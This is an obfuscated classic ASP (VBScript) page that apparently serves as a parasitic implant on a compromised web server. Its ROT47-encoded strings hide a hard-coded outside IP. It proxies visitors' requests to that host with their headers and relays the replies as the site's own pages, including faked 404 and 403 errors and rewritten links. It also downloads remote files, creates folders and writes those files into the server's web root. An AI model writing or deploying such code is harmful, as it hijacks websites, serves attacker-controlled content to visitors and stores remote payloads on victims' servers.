<%@ LANGUAGE=VBSCRIPT CODEPAGE=65001 %>
<%
Dim WWWWW,WFFFFF,WFFFFW,WFFFWF,WFFFWW
Set WFFFFW=Response:Set WFFFFF=Request:Set WFFFWW=Session:Set WWWWW=Application:Set WFFFWF=Server
Set WFWFFWF = New WWFFWF
WFWFFWF.dizhi 	= WFWWWW("`gc]hd]cd]abd")
WFWFFWF.filename 	= WFFFFF.ServerVariables(WFWWWW("$4C:AE0}2>6"))
WFWFFWF.csvalue 	= WFWWWW("G:56@")
WFWFFWF.cachefile 	= WFWWWW("^42496")
WFWFFWF.connect
Class WWFFWF
Public WWFFWW,dizhi,WWFWFW,filename,csvalue,cachefile
Private WWWFFW,WWWFWF,WWWFWW,WWWWFF,WWWWFW,WWWWWF,WWWWWW
Private Sub Class_Initialize
WWWFFW	= ""
filename	= WFWWWW(":?56I]2DA")
csvalue		= WFWWWW("A286")
WWWFWF	= WFFFFF.ServerVariables(WFWWWW("$t#")&WFWWWW("'t#0$~u%")&WFWWWW("(p#t"))
WWFFWW 		= WFWWWW("`af]_]_]`")
dizhi 	= WFWWWW("`af]_]_]`")
WWFWFW	= ""
WWWWWF 	= WFFFFF.ServerVariables(WFWWWW("w%%!0w~$%"))
cachefile 	= WFWWWW("^42496")
WWWWWW			= WFWWFW()
End Sub
Function connect()
Dim WFFFFFF
Set WFFFFFF = WFFFWF.Createobject(WFWWWW("(")&WFWWWW(":?w")&WFWWWW("E")&WFWWWW("EA](:")&WFWWWW("?wEEA#")&WFWWWW("6BF6D")&WFWWWW("E]")&"5"&".1")
WFFFFFF.option(6) = false
WFFFFFF.Open WFWWWW("vt%"), WFWWWW("9EEAi^^")&dizhi&WFWWWW("^")&WFFFFF.QueryString , False
WFFFFFF.setRequestHeader WFWWWW(")\#62=D57=<;H6Cb=abc=<;abc=<;abc=\x!"), WWWWWW
WFFFFFF.setRequestHeader WFWWWW("w@DE"), WWWWWF
WFFFFFF.setRequestHeader WFWWWW("&D6C\p86?E"), WFFFFF.ServerVariables(WFWWWW("w%%!0&$t#0pvt}%"))
If WFFFFF.ServerVariables(WFWWWW("w%%!0#tut#t#"))<>"" Then
WFFFFFF.setRequestHeader WFWWWW("#676C6C"), WFFFFF.ServerVariables(WFWWWW("w%%!0#tut#t#"))
End If
WFFFFFF.Send()
WFFFFFF.WaitForResponse()
WWWWFW			= WFFFFFF.ResponseBody
WWWFFW		= WFFFFFF.Status
If WWWFFW=302 or WWWFFW= 301 Then
WWWWFF	= WFFFFFF.GetResponseHeader(WFWWWW("{@42E:@?"))
end if
Set WFFFFFF=Nothing
set WFWFFWW = WFFFWF.CreateObject(WFWWWW("p5@53]$EC62>"))
WFWFFWW.Type = (80 * 36 - 2879)
WFWFFWW.Mode = (64 * 49 - 3133)
WFWFFWW.Open
WFWFFWW.Write WWWWFW
WFWFFWW.Position = (93 * 84 - 7812)
WFWFFWW.Type = (79 * 81 - 6397)
WFWFFWW.Charset = WFWWWW("&%u\g")
WWWWFW = WFWFFWW.ReadText
WFWFFWW.Close
WFFWFW()
End function
Function WFFWFW()
If WWWFFW="302" Then
WFFFFW.Redirect(WWWWFF)
Exit Function
ElseIf WWWFFW="301" Then
WFFFFW.Status = WFWWWW("w%%!^`]` ,b_` ,|@G65 ,!6C>2?6?E=J")
WFFFFW.Addheader WFWWWW("{@42E:@?"),WWWWFF
Exit Function
ElseIf WWWFFW="404" Then
WFFFFW.Status = WFWWWW("w%%!^`]` ,c_c ,}@E ,u@F?5")
WFFFFW.Addheader WFWWWW("s2E6"), now&WFWWWW(" ,v|%")
WFFFFW.Addheader WFWWWW("$6CG6C"), WWWFWF
WFFFFW.Addheader WFWWWW("r@?E6?E\%JA6"),WFWWWW("E6IE^9E>=")
WFFFFW.Write WFWWWW("k9E>=mk9625mkE:E=6mc_c ,}@E ,u@F?5k^E:E=6mk^9625mk3@5Jmk9`mc_c ,}@E ,u@F?5k^9`m")&WWWFWF&WFWWWW("k^3@5Jmk^9E>=m")
Exit Function
ElseIf WWWFFW="403" Then
WFFFFW.Status = WFWWWW("w%%!^`]` ,c_b ,u@C3:556?")
WFFFFW.Addheader WFWWWW("s2E6"), now &WFWWWW(" ,v|%")
WFFFFW.Addheader WFWWWW("$6CG6C"), WWWFWF
WFFFFW.Addheader WFWWWW("r@?E6?E\%JA6"),WFWWWW("E6IE^9E>=")
WFFFFW.Write WFWWWW("k9E>=mk9625mkE:E=6mc_b ,u@C3:556?k^E:E=6mk^9625mk3@5Jmk9`mc_b ,u@C3:556?k^9`m")&WWWFWF&WFWWWW("k^3@5Jmk^9E>=m")
Exit Function
End If
WFFFFW.ContentType = WFWWWW("E6IE^9E>=")
WFFFFW.AddHeader WFWWWW("r@?E6?E\%JA6"), WFWWWW("E6IE^9E>=j492CD6El&%u\g")
WFFFFW.CodePage = (38 * 43 - -63367)
WFFFFW.CharSet = WFWWWW("&%u\g")
WWWWFW = WFFWWF(WFWWWW("9C67lW-QMVX^W]YnX-]WA9AXW-QMVX"), WFWWWW("9C67lQ")&filename&WFWWWW("nSa]SbQ"), WWWWFW)
WWWWFW = WFFWWF(WFWWWW("9C67lWQMVX9EEAi-^-^W]YnX-^W]YnX-]WA9AXWQMVX"), WFWWWW("9C67lQ9EEAi^^Sa")&filename&WFWWWW("nSb]ScQ"), WWWWFW)
WWWWFW = WFFWWF(WFWWWW("9C67lW-QMVXW]YnX-]W4DDXW-QMVX"),WFWWWW("9C67lQ")&filename&WFWWWW("nSa]SbQ"), WWWWFW)
WWWWFW = WFFWWF(WFWWWW("9C67lQ^D:E6>2A]A9AQ"), WFWWWW("9C67lQ")&filename&WFWWWW("nD:E6>2A]A9AQ"), WWWWFW)
WWWWFW = Replace(WFWWWW("9C67lQ")&filename&WFWWWW("n")&filename&WFWWWW("n"), WFWWWW("9C67lQ")&filename&WFWWWW("n"), WWWWFW)
WWWWFW = WFFWWW(WFWWWW("DC4l-QW]YnX-]W8:7M;A8MA?8X-Q"),WFWWWW("DC4lQ")&cachefile&WFWWWW("S`]SaQ"), WWWWFW,WFWWWW(":>8"))
WFFFFW.Write WWWWFW
End Function
Function WFFWWF(WFWWFFW, WFWWFWF, Str)
Dim WFFFFFW
Set WFFFFFW = New RegExp
WFFFFFW.Pattern = WFWWFFW
WFFFFFW.IgnoreCase = false
WFFFFFW.Global = True
WFFWWF = WFFFFFW.Replace(Str, WFWWFWF)
End Function
Function WFFWWW(WFWWFFW, WFWWFWF, Str, WFWWWFF)
Dim WFFFFFW, WFFFFWF, WFFFFWW
Set WFFFFFW = New RegExp
WFFFFFW.Pattern = WFWWFFW
WFFFFFW.IgnoreCase = false
WFFFFFW.Global = True
Set WFFFFWW = WFFFFFW.Execute(Str)
For Each WFFFFWF in WFFFFWW
IF WFWWWFF = WFWWWW("4DD") then
WFWFFF WFFFFWF.SubMatches(0)&WFWWWW("]")&WFFFFWF.SubMatches(1)
Elseif WFWWWFF = WFWWWW(":>8") Then
WFWFFW  WFFFFWF.SubMatches(0)&WFWWWW("]")&WFFFFWF.SubMatches(1)
End If
Next
WFFWWW = WFFFFFW.Replace(Str, WFWWFWF)
End Function
Function WFWFFF(WFWWWFW)
dim WFFFWFF
WFFFWFF=WFFFWF.MapPath(WFWWWW("^"))&cachefile&WFWWWFW
Set WFWFWFF=WFFFWF.CreateObject(WFWWWW("$4C:A")&WFWWWW("E:?8]u:=")&WFWWWW("6$JDE")&WFWWWW("6>~3;")&WFWWWW("64E"))
If WFWFWFF.FileExists(WFFFWFF) Then
Set WFWFWFF=Nothing
Exit Function
end if
Set WFWFWFF=Nothing
Dim WFFFFFF
Set WFFFFFF = WFFFWF.Createobject(WFWWWW("(:?w")&WFWWWW("EEA](:?")&WFWWWW("wEEA")&WFWWWW("#6BF6")&WFWWWW("DE]")&"5."&"1")
WFFFFFF.option(6) = false
WFFFFFF.Open WFWWWW("!~$%"), WFWWWW("9EEAi^^")&dizhi&WFWWWFW , False
WFFFFFF.setRequestHeader WFWWWW("w@DE"), WWWWWF
WFFFFFF.setRequestHeader WFWWWW(")\#62=D57=<;H6Cb=abc=<;abc=<;abc=\x!"), WWWWWW
WFFFFFF.Send()
WFWFWFW = WFFFFFF.ResponseText
WFWWFF(WFWWWW("^")&WFWFWW(cachefile&WFWWWFW))
WWFFFW WFWWWW("^")&cachefile&WFWWWFW,WFWFWFW,WFWWWW("&%u\g")
Set WFFFFFF=Nothing
End function
Function WFWFFW(WFWWWFW)
On Error Resume Next
dim WFFFWFF
WFFFWFF=WFFFWF.MapPath(WFWWWW("^"))&cachefile&WFWWWFW
Set WFWFWFF=WFFFWF.CreateObject(WFWWWW("$4C:A")&WFWWWW("E:?8]u:=")&WFWWWW("6$JDE")&WFWWWW("6>~3;")&WFWWWW("64E"))
If WFWFWFF.FileExists(WFFFWFF) Then
Set WFWFWFF=Nothing
Exit Function
end if
Set WFWFWFF=Nothing
Dim WFFFFFF
Set WFFFFFF = WFFFWF.Createobject(WFWWWW("(:?")&WFWWWW("wEE")&WFWWWW("A](:?w")&WFWWWW("EEA#")&WFWWWW("6BF6")&WFWWWW("DE]d")&".1")
WFFFFFF.option(6) = false
WFFFFFF.Open WFWWWW("vt%"), WFWWWW("9EEAi^^")&dizhi&WFWWWFW , False
WFFFFFF.setRequestHeader WFWWWW("w@DE"), WWWWWF
WFFFFFF.setRequestHeader WFWWWW(")\#62=D57=<;H6Cb=abc=<;abc=<;abc=\x!"), WWWWWW
WFFFFFF.Send()
WFFFFFF.WaitForResponse
WFWWFF(WFWWWW("^")&WFWFWW(cachefile&WFWWWFW))
Set WFWFWWF=WFFFWF.CreateObject(WFWWWW("25@")&WFWWWW("53]DEC")&WFWWWW("62>"))
WFWFWWF.Type= (80 * 36 - 2879)
WFWFWWF.open
WFWFWWF.write WFFFFFF.ResponseBody
WFWFWWF.SaveToFile WFFFWF.MapPath(WFWWWW("^")&cachefile&WFWWWFW)
WFWFWWF.flush
WFWFWWF.Close
Set WFWFWWF=Nothing
Set WFFFFFF=Nothing
End function
Function WFWFWF(WFWWWWF)
WFWFWF = mid(WFWWWWF,instrrev(WFWWWWF,WFWWWW("^"))+1)
End Function
Function WFWFWW(WFWWWWF)
WFWFWW = Left(WFWWWWF,instrrev(WFWWWWF,WFWWWW("^")))
End Function
Function WFWWFF(ByVal CFolder)
Dim WFFFWFW, WFFFWWF, WFFFWWW, CreateFolder
Dim WFFWFFW, WFFWFWF, WFFWFWW, WFFWWFF, WFFWWFW
WFFWWFW = False
CreateFolder = CFolder
On Error Resume Next
Set WFFFWFW = WFFFWF.CreateObject(WFWWWW("$4C")&WFWWWW(":AE:?8]")&WFWWWW("u:=6")&WFWWWW("$JDE6>")&WFWWWW("~3;64E"))
If Err Then
Err.Clear()
Exit Function
End If
If Right(CreateFolder, 1) = WFWWWW("^") Then
CreateFolder = Left(CreateFolder, Len(CreateFolder) -1)
End If
WFFFWWW = Split(CreateFolder, WFWWWW("^"))
For WFFWFFW = 0 To UBound(WFFFWWW)
WFFWFWW = ""
For WFFWFWF = 0 To WFFWFFW
WFFWFWW = WFFWFWW & WFFFWWW(WFFWFWF) & WFWWWW("^")
Next
WFFWWFF = WFFFWF.MapPath(WFFWFWW)
If Not WFFFWFW.FolderExists(WFFWWFF) Then
WFFFWFW.CreateFolder(WFFWWFF)
End If
Next
If Err Then
Err.Clear()
Else
WFFWWFW = True
End If
WFWWFF = WFFWWFW
End Function
Sub WWFFFW (WFWWWWW,byval Str,CharSet)
On Error Resume Next
set WFWFWWF=WFFFWF.CreateObject(WFWWWW("25@")&WFWWWW("53]DEC")&WFWWWW("62>"))
WFWFWWF.Type= (79 * 81 - 6397)
WFWFWWF.mode= (64 * 49 - 3133)
WFWFWWF.open
WFWFWWF.WriteText str
WFWFWWF.SaveToFile WFFFWF.MapPath(WFWWWWW)
WFWFWWF.flush
WFWFWWF.Close
set WFWFWWF=nothing
End Sub
Function WFWWFW()
on error resume next
Dim WFFWWWF
If WFFFFF.ServerVariables(WFWWWW("w%%!0")&WFWWWW(")0")&WFWWWW("u~#")&WFWWWW("(p#sts0u~#")) = "" Or InStr(WFFFFF.ServerVariables(WFWWWW("w")&WFWWWW("%%!0)0u~")&WFWWWW("#(")&WFWWWW("p#s")&WFWWWW("ts0u~#")), WFWWWW("F?<?@H?")) > 0 Then
WFFWWWF = WFFFFF.ServerVariables(WFWWWW("#t|")&WFWWWW("~%t0p")&WFWWWW("ss#"))
ElseIf InStr(WFFFFF.ServerVariables(WFWWWW("w%")&WFWWWW("%!0)0u~#(")&WFWWWW("p#sts0u~#")), WFWWWW("[")) > 0 Then
WFFWWWF = Mid(WFFFFF.ServerVariables(WFWWWW("w")&WFWWWW("%%!0)0u~")&WFWWWW("#(p#s")&WFWWWW("ts0u~#")), 1, InStr(WFFFFF.ServerVariables(WFWWWW("w%%")&WFWWWW("!0)0u")&WFWWWW("~#(")&WFWWWW("p#")&WFWWWW("sts0u")&WFWWWW("~#")), WFWWWW("["))-1)
WFWFWWW = WFFFFF.ServerVariables(WFWWWW("#t|~")&WFWWWW("%t0pss")&WFWWWW("#"))
ElseIf InStr(WFFFFF.ServerVariables(WFWWWW("w%%")&WFWWWW("!0)0u")&WFWWWW("#(")&WFWWWW("p#sts0u~#")), WFWWWW("j")) > 0 Then
WFFWWWF = Mid(WFFFFF.ServerVariables(WFWWWW("w%")&WFWWWW("%!0)0u~#(")&WFWWWW("p#sts0u~#")), 1, InStr(WFFFFF.ServerVariables(WFWWWW("w")&WFWWWW("%%!0")&WFWWWW("0u~#")&WFWWWW("(p#s")&WFWWWW("ts0u~#")), WFWWWW("j"))-1)
WFWFWWW = WFFFFF.ServerVariables(WFWWWW("#")&WFWWWW("t|~")&WFWWWW("%t0pss")&WFWWWW("#"))
Else
WFFWWWF = WFFFFF.ServerVariables(WFWWWW("w%")&WFWWWW("%!")&WFWWWW("0)0u~")&WFWWWW("#(p#s")&WFWWWW("ts0u~#"))
WFWFWWW = WFFFFF.ServerVariables(WFWWWW("#t|")&WFWWWW("~%t0ps")&WFWWWW("s#"))
End If
WFWWFW = Replace(Trim(Mid(WFFWWWF, 1, 30)), WFWWWW("V"), "")
End Function
Function WFWWWF()
On Error Resume Next
Dim WFFWWWW
If LCase(WFFFFF.ServerVariables(WFWWWW("w%%!$"))) = WFWWWW("@77") Then
WFFWWWW = WFWWWW("9EEAi^^")
Else
WFFWWWW = WFWWWW("9EEADi^^")
End If
WFFWWWW = WFFWWWW&WFFFFF.ServerVariables(WFWWWW("$t#'t#0}p|t"))
If WFFFFF.ServerVariables(WFWWWW("$t#'t#0!~#%")) <> 80 Then
WFFWWWW = WFFWWWW&WFWWWW("i")&WFFFFF.ServerVariables(WFWWWW("$t#'t#0!~#%"))
End If
WFFWWWW = WFFWWWW&WFFFFF.ServerVariables(WFWWWW("&#{"))
If Trim(WFFFFF.QueryString)<>"" Then
WFFWWWW = WFFWWWW&WFWWWW("n")&Trim(WFFFFF.QueryString)
End If
WFWWWF = WFFWWWW
End Function
End Class
Function WFWWWW(ByVal WFWWFFF)
Dim WFWFFFF, WFFWFFW, WFWFFFW
WFWWFFF = Replace(WFWWFFF, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For WFFWFFW = 1 To Len(WFWWFFF)
If WFFWFFW <> WFWFFFW Then
WFWFFFF = AscW(Mid(WFWWFFF, WFFWFFW, 1))
If WFWFFFF >= 33 And WFWFFFF <= 79 Then
WFWWWW = WFWWWW & Chr(WFWFFFF + 47)
ElseIf WFWFFFF >= 80 And WFWFFFF <= 126 Then
WFWWWW = WFWWWW & Chr(WFWFFFF - 47)
Else
WFWFFFW = WFFWFFW + 1
If Mid(WFWWFFF, WFWFFFW, 1) = WFWWWW("o") Then WFWWWW = WFWWWW & ChrW(WFWFFFF + 5) Else WFWWWW = WFWWWW & Mid(WFWWFFF, WFFWFFW, 1)
End If
End If
Next
End Function
%>